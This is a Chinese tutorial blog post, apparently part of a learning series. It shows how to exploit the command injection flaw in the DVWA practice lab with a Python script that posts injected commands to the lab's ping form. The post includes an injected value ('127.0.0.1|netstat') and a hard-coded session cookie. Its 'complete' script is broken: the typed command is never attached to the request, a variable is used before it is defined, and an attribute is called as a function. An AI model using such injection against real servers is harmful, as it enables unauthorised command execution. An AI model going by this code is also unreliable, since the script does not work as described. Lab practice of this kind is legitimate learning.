学习Python渗透第十三天:用Python实现命令注入

这里的靶场还是用到的是DVWA,在DVWA中的第二部分就是一个典型的命令注入漏洞,这里提供了一个ping功能,只要用户输入IP地址,就可以实现对该IP地址的ping操作

但是在这个输入IP框中不止可以执行ping命令,还能一起执行其他的命令,这就是命令注入的漏洞

用Python编写一个命令注入漏洞

现在用Python编写一个针对DVWA的命令注入程序,首先我们需要获取关于DVWA中的命令注入漏洞的一些信息,这里我们使用request库来进行请求,其中要访问的链接如下:


url = 'http://192.168.157.129/dvwa/vulnerabilities/exec/'

然后利用session模块来保持登录状态,这里为了简化代码,我们直接使用bp抓包获得的cookie值

Cookies = dict(security = 'low',PHPSESSID='sa214872sjd23348ccjsi34')

提交的信息如下

ataackpayload = {
    'ip':'127.0.0.1',
    'submit':'submit'
}

这个程序最重要的字段是IP,这就是我们提交的字段内容,只需要将我们的命令附加到这个字段中,例如将IP的值设置为127.0.0.1|netstat,我们所执行命令的结果就会显示到下面。我们需要将想要的返回内容截取出来,这里用到的是Beautifulsoup模块,这个模块经常用于爬虫里面用来匹配你想要的字段,用在这里也合适。

soup =BeautifulSoup(html,'lxml')
#这里就是将一个返回的html文件作为一个对象赋给soup,以便后序执行匹配操作

代码中出现的html是一个页面的内容,例如本例中就是返回值res的text属性,lxml是python的一个解析库,支持html和xml的解析,支持xpath解析方式。

获取所有的pre标签,并遍历输出pre标签中的字符,这是一种通用方法,如果想要获取所有的a标签,将代码中的pre换成a即可。

for pre in soup.find(name='pre'):
    print(pre.string)

下面给出了完整的程序,在其中添加了用户输入的功能,当用户在使用这个程序的时候,可以按照自己的想法输入命令,该程序会将其追加到一个IP地址的后面提交给服务器,服务器执行之后会将结果显示出来,程序中使用了一个永真循环,所以会一直响应用户的需求,直到用户输入quit。

import requests
from bs4 import BeautifulSoup
url = 'http://192.168.157.129/dvwa/vulnerabilities/exec/'

for pre in soup.find(name='pre'):
    print(pre.string)
def Command_inject(command):
    Cookies = dict(security = 'low',PHPSESSID='sa214872sjd23348ccjsi34')

    ataackpayload = {
    'ip':'127.0.0.1',
    'submit':'submit'
    }
    p = requests.post(url=url,cookies=Cookies,data=ataackpayload)
    soup =BeautifulSoup(p.text,'lxml')
    for pre in soup.find_all(name='pre'):
        print(pre.string())
while 1:
    cmd = input("输入quit即退出").strip()
    if len(cmd)==0:
        continue
    if cmd == 'quit':
        break
    Command_inject(cmd)

今天的学习分享就到这里,如果有什么不对还请大家指正,谢谢大家的观看。

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值